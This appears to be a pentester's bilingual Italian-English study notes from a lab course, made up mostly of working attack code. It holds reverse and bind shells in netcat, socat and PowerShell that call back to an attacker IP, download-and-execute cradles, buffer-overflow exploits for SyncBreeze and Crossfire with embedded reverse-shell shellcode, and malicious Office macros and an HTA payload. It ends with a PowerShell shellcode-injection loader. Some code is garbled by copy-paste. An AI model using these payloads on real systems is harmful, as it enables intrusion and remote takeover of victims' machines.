----->Reverse shell scenario:

C:\Users\offsec> nc -nlvp 4444 -e reverseshellbellissima.exe <i named reverseshellbellissima.exe>

root@kali# nc -nv 192.168.10.5 4444

oppure

root@kali# nc -nv 192.168.10.5 4444 -e /bin/bash

C:\Users\offsec> nc -nlvp 4444

---------->Reverse shell encrypted:

C:\Users\offsec> socat TCP4:10.11.0.4:443 file:received\_secret\_passwords.txt,create

C:\Users\offsec> type received\_secret\_passwords.txt

Im too strong

C:\Users\offsec> socat -d -d TCP4-LISTEN:443 STDOUT

whoami

id

kali@kali: openssl req -newkey rsa:2048 -nodes -keyout bind\_shell.key -x509 -days 36 2 -out bind\_shell.crt

\*compilare campi\*

kali@kali:cat bind\_shell.key bind\_shell.crt > bind\_shell.pem

kali@kali sudo socat OPENSSL-LISTEN:443,cert=bind\_shell.pem,verify=0,fork EXEC:/bin /bash

Some scripts that literally saved my time a lot:

Powershell

\\togliere permessi or take away permits(used for privesc):

PS C:\Windows\system32> Set-ExecutionPolicy Unrestricted

--> y

PS C:\Windows\system32> Get-ExecutionPolicy Unrestricted

C:\Users\offsec>powershell -c "(new-object System.Net.WebClient).DownloadFile('http:/

/10.11.0.4/wget.exe','C:\Users\offsec\Desktop\wget.exe')"

C:\Users\offsec>wget.exe -V

//\*execute a reverse shell with PS\* \ eseguire una reverse shell attraverso powershell

kali@kali sudo nc -lnvp 443

--script powershell della reverse shell

$client = New-Object System.Net.Sockets.TCPClient('10.11.0.4',443); $stream = $client.GetStream();

[byte[]]$bytes = 0..65535|%{0};

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)

{

$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String );

$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';

$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);

$stream.Flush();

} $client.Close();

//bind shell

C:\Users\offsec> powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10. 11.0.4',443);$stream =

$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data =

(New-Object -TypeName System.T ext.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );

$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII

).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$c lient.Close()"

kali@kali:sudo nc -lnvp 443

C:\Users\offsec> powershell -c "$listener = New-Object System.Net.Sockets.TcpListener( '0.0.0.0',443);$listener.start();$client

= $listener.AcceptTcpClient();$stream = $clie nt.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =

$stream.Read($bytes, 0, $byt es.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString

($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'P

S ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$str

eam.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Sto p()"

nc -nv 10.11.0.22 443 open ipconfig

//Powercat: is a mix of Powershell + Netcat

sarebbe powershell ma la versione di netcat

apt install powercat

--> il file sarà su/ the file it will be on /usr/share/windows-resources/powercat

PS C:\Users\Offsec> iex (New-Object System.Net.Webclient).DownloadString('https://raw.

githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

//ovviamente il file (the file powercat.ps1 must be empty to work) deve essere un file powershell vuoto

PS C:\Users\offsec> powercat

//-c (client mode) -l (listen mode)

--send files with Powercat and in the same time start a reverse shell

PS C:\Users\Offsec> powercat -c 10.11.0.4 -p 443 -i C:\Users\Offsec\powercat.ps1

PS C:\Users\Offsec> powercat -c 10.11.0.4 -p 443 -e cmd.exe

kali@kali $: sudo nc -lnvp 443 > receiving\_powercat.ps1

\*ctrl c\*^C

kali#kali$: ls receiving\_powercat.ps1

sudo nc -lvp 443

--->setting a payload with Powercat

kali@kali nc 10.11.0.22 443

PS C:\Users\offsec> powercat -c 10.11.0.4 -p 443 -e cmd.exe -g > reverseshell.ps1

PS C:\Users\offsec> ./reverseshell.ps1

PS C:\Users\offsec> powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge > encodedreverseshell.ps1

PS C:\Users\offsec> powershell.exe -E ZgB1AG4AYwB0AGkAbwBuACAAUwB0AHIAZQBhAG0AMQBfAFM

AZQB0AHUAcAAKAHsACgAKACAAIAAgACAAcABhAHIAYQBtACgAJABGAHUAbgBjAFMAZQB0AHUAcABWAGEAcgBzA

CkACgAgACAAIAAgACQAYwAsACQAbAAsACQAcAAsACQAdAAgAD0AIAAkAEYAdQBuAGMAUwBlAHQAdQBwAFYAYQB

yAHMACgAgACAAIAAgAGkAZgAoACQAZwBsAG8AYgBhAGwAOgBWAGUAcgBiAG8AcwBlACkAewAkAFYAZQByAGIAb

wBzAGUAIAA9ACAAJABUAHIAdQBlAH0ACgAgACAAIAAgACQARgB1AG4AYwBWAGEAcgBzACAAPQAgAEAAewB9AAo

AIAAgACAAIABpAGYAKAAhACQAbAApAAoAIAAgACAAIAB7AAoAIAAgACAAIAAgACAAJABGAHUAbgBjAFYAYQByA

HMAWwAiAGwAIgBdACAAPQAgACQARgBhAGwAcwBlAAoAIAAgACAAIAAgACAAJABTAG8AYwBrAGUAdAAgAD0AIAB

OAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAGMAc

ABDAGwAaQBlAG4AdAAKACAAIAAgACA

// the payload it could be easily generate with msfvenom /il payload lo si può generare anche con un msfvenom

kali@kali $: sudo nc -lnvp 443

Zone Transfer Bash Script (per il DNS )

#!/bin/bash

#Simple Zone Transfer Bash Script

#$1 is the first argument given after the bash script # Check if argument was given, if not, print usage

if [ -z "$1" ]; then

echo "[\*] Simple Zone transfer script" echo "[\*] Usage : $0 <domain name> " exit 0

fi

# if argument was given, identify the DNS servers for the domain

for server in $(host -t ns $1 | cut -d " " -f4); do

# For each of these servers, attempt a zone transfer host -l $1 $server |grep "has address"

done

chmod+x dns-axfr.sh

./dns-axfr.sh google.com

script python per il fuzzing/ buffer overflow

#!/usr/bin/python import socket

try:

print "\nSending evil buffer..."

size = 100

inputBuffer = "A" \* size

content = "username=" + inputBuffer + "&password=A"

buffer = "POST /login HTTP/1.1\r\n" buffer += "Host: 10.11.0.22\r\n"

buffer += fox/52.0\r\n" buffer +=

\r\n"

buffer +=

buffer += buffer += buffer += buffer += buffer +=

"User-Agent: Mozilla/5.0 (X11; Linux\_86\_64; rv:52.0) Gecko/20100101 Fire "Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

"Accept-Language: en-US,en;q=0.5\r\n"

"Referer: http://10.11.0.22/login\r\n"

"Connection: close\r\n"

"Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: "+str(len(content))+"\r\n"

"\r\n"

buffer +=

s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

s.connect(("10.11.0.22", 80)) s.send(buffer)

s.close()

print "\nDone!"

except:

print "Could not connect!"

content

#!/usr/bin/python import socket import time import sys

size = 100

while(size < 2000):

try:

print "\nSending evil buffer with %s bytes" % size

inputBuffer = "A" \* size

content = "username=" + inputBuffer + "&password=A"

buffer = "POST /login HTTP/1.1\r\n" buffer += "Host: 10.11.0.22\r\n"

buffer += fox/52.0\r\n" buffer +=

\r\n"

buffer +=

buffer += buffer += buffer += buffer += buffer +=

"User-Agent: Mozilla/5.0 (X11; Linux\_86\_64; rv:52.0) Gecko/20100101 Fire "Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

"Accept-Language: en-US,en;q=0.5\r\n"

"Referer: http://10.11.0.22/login\r\n"

"Connection: close\r\n"

"Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: "+str(len(content))+"\r\n"

"\r\n"

buffer +=

s = socket.socket (socket.AF\_INET, socket.SOCK\_STREAM)

s.connect(("10.11.0.22", 80)) s.send(buffer)

s.close()

size += 100 time.sleep(10)

except:

print "\nCould not connect!" sys.exit()

// script made with python for the buffer Overflow on SyncBreeze /script python per il buffer overflow su SyncBreeze

#!/usr/bin/python

import socket

try:

print "\nSending evil buffer..."

size = 800

inputBuffer = "A" \* size

content = "username=" + inputBuffer + "&password=A" buffer = "POST /login HTTP/1.1\r\n"

\\controllo EIP

buffer +=

buffer += x/52.0\r\n" buffer +=

\n"

buffer += buffer += buffer += buffer += buffer += buffer +=

buffer +=

s = socket.socket (socket.AF\_INET, socket.SOCK\_STREAM)

s.connect(("10.11.0.22", 80)) s.send(buffer)

s.close()

print "\nDone!"

except:

print "\nCould not connect!"

"Host: 10.11.0.22\r\n"

"User-Agent: Mozilla/5.0 (X11; Linux\_86\_64; rv:52.0) Gecko/20100101 Firefo

"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8\r

"Accept-Language: en-US,en;q=0.5\r\n"

"Referer: http://10.11.0.22/login\r\n"

"Connection: close\r\n"

"Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: "+str(len(content))+"\r\n"

"\r\n"

kali@kali: locate pattern\_create

kali@kali: msf-pattern\_create -h

kali@kali: msf-pattern\_create -l 800

\*copirare contenuto\*/\*copying the content\*

#!/usr/bin/python import socket

try:

print "\nSending evil buffer..."

inputBuffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa...1Ba2Ba3Ba4Ba5Ba"

content = "username=" + inputBuffer + "&password=A" ...

msf-pattern\_offset -l 800 -q 4306142

//sapendo la posizione esatta dell' offset \*knowing the perfect position of the offset\*

#!/usr/bin/python import socket

try:

print "\nSending evil buffer..."

filler = "A" \* 780

eip = "B" \* 4

buffer = "C" \* 16

inputBuffer = filler + eip + buffer

content = "username=" + inputBuffer + "&password=A" ...

filler = "A" \* 780

eip = "B" \* 4

offset = "C" \* 4

buffer = "D" \* (1500 - len(filler) - len(eip) - len(offset))

inputBuffer = filler + eip + offset + buffer ...

in questa D sarà il nostro placeholder per il nostro shellcode

In the variable of buffer it will used as placeholder to putting our shellcode

#!/usr/bin/python import socket

badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"

"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"

"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"

"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"

"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"

"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"

"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"

"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"

"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"

"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"

"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"

"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"

"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"

"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"

"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"

"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

try:

print "\nSending evil buffer..."

filler = "A" \* 780 eip = "B" \* 4 offset = "C" \* 4

inputBuffer = filler + eip + offset + badchars

content = "username=" + inputBuffer + "&password=A" ...

0326744C 41 41 41 41 41 41 41 41 03267454 42 42 42 42 43 43 43 43 0326745C 01 02 03 04 05 06 07 08 03267464 09 00 C3 00

90 BC C3 00 0326746C 10 6C C4 00 06 00 00 00 03267474 18 AB 26 03 00 00 00 00

AAAAAAAA

BBBBCCCC

//script finale

#!/usr/bin/python import socket

try:

print "\nSending evil buffer..."

shellcode = ("\xbe\x55\xe5\xb6\x02\xda\xc9\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"

"\x52\x31\x72\x12\x03\x72\x12\x83\x97\xe1\x54\xf7\xeb\x02\x1a"

"\xf8\x13\xd3\x7b\x70\xf6\xe2\xbb\xe6\x73\x54\x0c\x6c\xd1\x59"

"\xe7\x20\xc1\xea\x85\xec\xe6\x5b\x23\xcb\xc9\x5c\x18\x2f\x48"

"\xdf\x63\x7c\xaa\xde\xab\x71\xab\x27\xd1\x78\xf9\xf0\x9d\x2f"

"\xed\x75\xeb\xf3\x86\xc6\xfd\x73\x7b\x9e\xfc\x52\x2a\x94\xa6"

"\x74\xcd\x79\xd3\x3c\xd5\x9e\xde\xf7\x6e\x54\x94\x09\xa6\xa4"

"\x55\xa5\x87\x08\xa4\xb7\xc0\xaf\x57\xc2\x38\xcc\xea\xd5\xff"

"\xae\x30\x53\x1b\x08\xb2\xc3\xc7\xa8\x17\x95\x8c\xa7\xdc\xd1"

"\xca\xab\xe3\x36\x61\xd7\x68\xb9\xa5\x51\x2a\x9e\x61\x39\xe8"

"\xbf\x30\xe7\x5f\xbf\x22\x48\x3f\x65\x29\x65\x54\x14\x70\xe2"

"\x99\x15\x8a\xf2\xb5\x2e\xf9\xc0\x1a\x85\x95\x68\xd2\x03\x62"

"\x8e\xc9\xf4\xfc\x71\xf2\x04\xd5\xb5\xa6\x54\x4d\x1f\xc7\x3e"

"\x8d\xa0\x12\x90\xdd\x0e\xcd\x51\x8d\xee\xbd\x39\xc7\xe0\xe2"

"\x5a\xe8\x2a\x8b\xf1\x13\xbd\xbe\x0e\x1b\x2f\xd7\x12\x1b\x4e"

"\x9c\x9a\xfd\x3a\xf2\xca\x56\xd3\x6b\x57\x2c\x42\x73\x4d\x49"

"\x44\xff\x62\xae\x0b\x08\x0e\xbc\xfc\xf8\x45\x9e\xab\x07\x70"

"\xb6\x30\x95\x1f\x46\x3e\x86\xb7\x11\x17\x78\xce\xf7\x85\x23"

"\x78\xe5\x57\xb5\x43\xad\x83\x06\x4d\x2c\x41\x32\x69\x3e\x9f"

"\xbb\x35\x6a\x4f\xea\xe3\xc4\x29\x44\x42\xbe\xe3\x3b\x0c\x56"

"\x75\x70\x8f\x20\x7a\x5d\x79\xcc\xcb\x08\x3c\xf3\xe4\xdc\xc8"

"\x8c\x18\x7d\x36\x47\x99\x8d\x7d\xc5\x88\x05\xd8\x9c\x88\x4b"

"\xdb\x4b\xce\x75\x58\x79\xaf\x81\x40\x08\xaa\xce\xc6\xe1\xc6" "\x5f\xa3\x05\x74\x5f\xe6")

filler = "A" \* 780

eip = "\x83\x0c\x09\x10" offset = "C" \* 4

nops = "\x90" \* 10

inputBuffer = filler + eip + offset + nops + shellcode content = "username=" + inputBuffer + "&password=A"

buffer = "POST /login HTTP/1.1\r\n"

buffer += "Host: 10.11.0.22\r\n"

buffer += "User-Agent: Mozilla/5.0 (X11; Linux\_86\_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"

buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8\r \n"

buffer += "Accept-Language: en-US,en;q=0.5\r\n"

buffer += "Referer: http://10.11.0.22/login\r\n"

buffer += "Connection: close\r\n"

buffer += "Content-Type: application/x-www-form-urlencoded\r\n" buffer += "Content-Length: "+str(len(content))+"\r\n"

buffer += "\r\n"

buffer += content

s = socket.socket (socket.AF\_INET, socket.SOCK\_STREAM)

s.connect(("10.11.0.22", 80)) s.send(buffer)

s.close()

print "\nDone did you get a reverse shell?"

except:

print "\nCould not connect!"

kali@kali sudo nc -lnvp 443

---LINUX BUFFER OVERFLOW:

Crossfire is a multiplayer role game/ è un multiplayer role game

root@debian cd /usr/games/crossfire/bin

root@debian ... ./crossfire

root@debian # edb

run --> Filter crossfire

script per effettuare il buffer overflow per vedere se è possibile farlo su Crossfire

\*script for using buffer overflow to see if we can do it in this game Crossfire

#!/usr/bin/python import socket

host = "10.11.0.128"

crash = "\x41" \* 4379

buffer = "\x11(setup sound " + crash + "\x90\x00#"

s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM) print "[\*]Sending evil buffer..."

s.connect((host, 13327))

print s.recv(1024)

s.send(buffer)

s.close()

print "[\*]Payload Sent !"

---Controlling EIP

kali@kali msf-pattern\_create -l 4379

kali@kali$ msf-pattern\_offset -q 46367046

kali@kali$ msf-nasm\_shell

nasm > add eax,12

nasm > jmp eax

#!/usr/bin/python import socket

host = "10.11.0.128"

padding = "\x41" \* 4368

eip = "\x42\x42\x42\x42"

first\_stage = "\x83\xc0\x0c\xff\xe0\x90\x90"

buffer = "\x11(setup sound " + padding + eip + first\_stage + "\x90\x00#" s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

print "[\*]Sending evil buffer..."

s.connect((host, 13327)) print s.recv(1024)

s.send(buffer) s.close()

jumping ESP -> EIP attraverso l' agent

generiamo una shell attraverso msfvenom

msfvenom -p linux/x86/shell\_reverse\_tcp LHOST=10.11.0.4 LPORT=443 -b "\x0 0\x20" -f py -v shellcode

script per il buffer overflow + la posizione esatta di EIP

#!/usr/bin/python import socket

host = "10.11.0.128"

nop\_sled = "\x90" \* 8 # NOP sled

# msfvenom -p linux/x86/shell\_reverse\_tcp LHOST=10.11.0.4 LPORT=443 -b "\x00\x20" -f p y

shellcode = ""

shellcode += "\xbe\x35\x9e\xa3\x7d\xd9\xe8\xd9\x74\x24\xf4\x5a\x29" shellcode +=

"\xc9\xb1\x12\x31\x72\x12\x83\xc2\x04\x03\x47\x90\x41" shellcode +=

"\x88\x96\x77\x72\x90\x8b\xc4\x2e\x3d\x29\x42\x31\x71" shellcode +=

"\x4b\x99\x32\xe1\xca\x91\x0c\xcb\x6c\x98\x0b\x2a\x04" shellcode +=

"\xb7\xfc\xb8\x46\xaf\xfe\x40\x67\x8b\x76\xa1\xd7\x8d" shellcode +=

"\xd8\x73\x44\xe1\xda\xfa\x8b\xc8\x5d\xae\x23\xbd\x72" shellcode +=

"\x3c\xdb\x29\xa2\xed\x79\xc3\x35\x12\x2f\x40\xcf\x34" shellcode += "\x7f\x6d\x02\x36"

padding = "\x41" \* (4368 - len(nop\_sled) - len(shellcode)) eip = "\x96\x45\x13\x08" # 0x08134596

first\_stage = "\x83\xc0\x0c\xff\xe0\x90\x90"

buffer = "\x11(setup sound " + nop\_sled + shellcode + padding + eip + first\_stage + "\ x90\x00#"

s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM) print "[\*]Sending evil buffer..."

s.connect((host, 13327)) print s.recv(1024)

s.send(buffer) s.close()

print "[\*]Payload Sent !"

kali@kali sudo nc -lnvp 443

id

whoami

root

HTA Attack in Action: Explaination

sudo msfvenom -p windows/shell\_reverse\_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o

/var/www/html/evil.hta

sudo cat /var/www/html/evil.hta

\\script in VB per lanciare il cmd attraverso la macro

\\ script made in Visual Basoc to launch cmd through macros

Sub MyMacro() CreateObject("Wscript.Shell").Run "cmd"

End Sub

Sub AutoOpen() MyMacro

End Sub

Sub Document\_Open()

MyMacro

End Sub

Sub MyMacro() CreateObject("Wscript.Shell").Run "cmd"

End Sub

\\script in VB per avviare una reverse shell attraverso PS

\\ script in Visual Basic to launch a reverse shell through PS

Sub AutoOpen() MyMacro

End Sub

Sub Document\_Open() MyMacro

End Sub

Sub MyMacro()

Dim Str As String

Str = "powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ"

Str = Str + "QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB" Str = Str +

"TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A" Str = Str +

"EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg" Str = Str +

"ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY" Str = Str +

"gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB" ...

Str = Str + "AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac" Str = Str +

"AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB" Str = Str +

"lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA" Str = Str +

"FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA" Str = Str +

"AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK" Str = Str + "QA="

CreateObject("Wscript.Shell").Run Str End Sub

kali@kali$ nc -lnvp 4444

...

C:\Users\Offsec>

kali@kali$ searchsploit

----

(scova se ci sono exploit)

ad esempio tipo:

kali@kali$ searchsploit "Sync Breeze Enterprise 10.0.0.28"

--Fixing Web Exploit

base\_url = "http://192.168.1.10/csmms/admin"

base\_url = "https://10.11.0.128/admin"

poi modificare nel file del response aggiungere verify False:

response = requests.post(url, data=data, allow\_redirects=False, verify=False)

response = requests.post(url, data=data, files=txt, cookies=cookies, verify=False)

response = requests.post(url, data=data, cookies=cookies, allow\_redirects=False, v erify=False)

username = "admin" password = "password"

\*modificare credenziali\* \*modyfing the credentials\*

MALWARE:

ENG:

Packers:

malware that obfuscate code cover it.. and you can find out through reverse engineering

Remote Process Memory Injection (the most famous also called Powershell Injection)  
  
this malware creates new sections or changes entire sections of permissions.. this technique is mainly focused on the handling of volatile memory  
  
Openprocess gets a valid HANDLE to target the process where we have permissions. After obtaining HANDLE we will allocate it in the memory and in the context of the process. Within the process we will insert the payload and get access to the process and apply it using another new process calling an API like Virtualallocex and once it is located and executed we can separate the thread using Createremotethread API (Writeprocessmemory)  
  
Reflective DLL Injection  
through a DLL using Loadlibrary API  
  
Process Hollowing  
First attackers launch a non-malevolent trial pending. then launch the imaggine process is remove from memory and replaced with an executable image malevolent.  
  
Inline hooking  
technique that modifies memory and introduces hook (instrution that redirects code execution) into the function and tip the execution flow towards malware

IT:

Packers:

malware che offuscano il codice lo coprono.. ed è possibile scoprirlo attraverso reverse engineering

Remote Process Memory Injection (la più famosa anche chiamata Powershell Injection)

questo malware crea nuove sezioni o cambia sezioni intere di permessi.. questa tecnica è incentrata principalmente la manipolazione della memoria volatile

l' OpenProcess ottiene un valid HANDLE per mirare al processo dove abbiamo i permessi. Dopo aver ottenuto HANDLE lo allocheremo nella memoria e nel contesto del processo. All' interno del processo inseriremo il payload e otterremo l'accesso del processo e lo applichiamo utilizzando un altro nuovo processo chiamando un API come VirtualAllocEX ed una volta alllocato ed eseguito possiamo separare il thread usando CreateRemoteThread API (WriteProcessMemory)

Reflective DLL Injection

attraverso un DLL usando LoadLibrary API

Process Hollowing

attaccanti prima lanciano un processo non malevolo in sospeso. poi lanciano l'imaggine del processo è rimuovono dalla memoria e rimpiazzato con un executable image malevolo.

Inline hooking

tecnica che modifica la memoria e introduce hook (instruzione che redirige l'esecuzione del codice) nella funzione e la punta il flusso di esecuzione verso il malware

C:\Users\offsec\Desktop> binary.exe

//script powershell per il payload

$code = '

[DllImport("kernel32.dll")]

public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocat ionType, uint flProtect);

[DllImport("kernel32.dll")]

public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint

dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]

public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$winFunc =

Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]];

[Byte[]]$sc = <place your shellcode here>;

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc [$i], 1)};

$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

\\\*importing the Windows API on PS\*\ importare le Windows API su Powershell

[DllImport("kernel32.dll")]

public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocat ionType, uint flProtect);

[DllImport("kernel32.dll")]

public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint

dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]

public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

\\ Memory allocation and payload written through\ Allocazione della memoria e payload scritto attraverso Windows API in Powershell

[DllImport("kernel32.dll")]

public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocat ionType, uint flProtect);

[DllImport("kernel32.dll")]

public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint

dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]

public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

\\Calling the payload using CreateThread

$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

kali@kali$ msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.11.0.4 LPORT=4444 -f powershell

\\ script for the memory injection / script finale per il memory injection

$code = '

[DllImport("kernel32.dll")]

public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocat ionType, uint flProtect);

[DllImport("kernel32.dll")]

public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint

dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]

public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -p assthru;

[Byte[]];

[Byte[]] $sc = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30

,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x

61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0

x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49

,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x3

8,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0

x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0

x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x

33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0

x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x68,0x

ac,0x10,0x74,0x8b,0x68,0x2,0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,

0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x

61,0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75,0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0

,0x6a,0x4,0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x36,0x8b,0x3

6,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x9

3,0x53,0x6a,0x0,0x56,0x53,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x

22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0,0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68

,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc,0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0x

c3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0,0x53,0xff,0xd5;

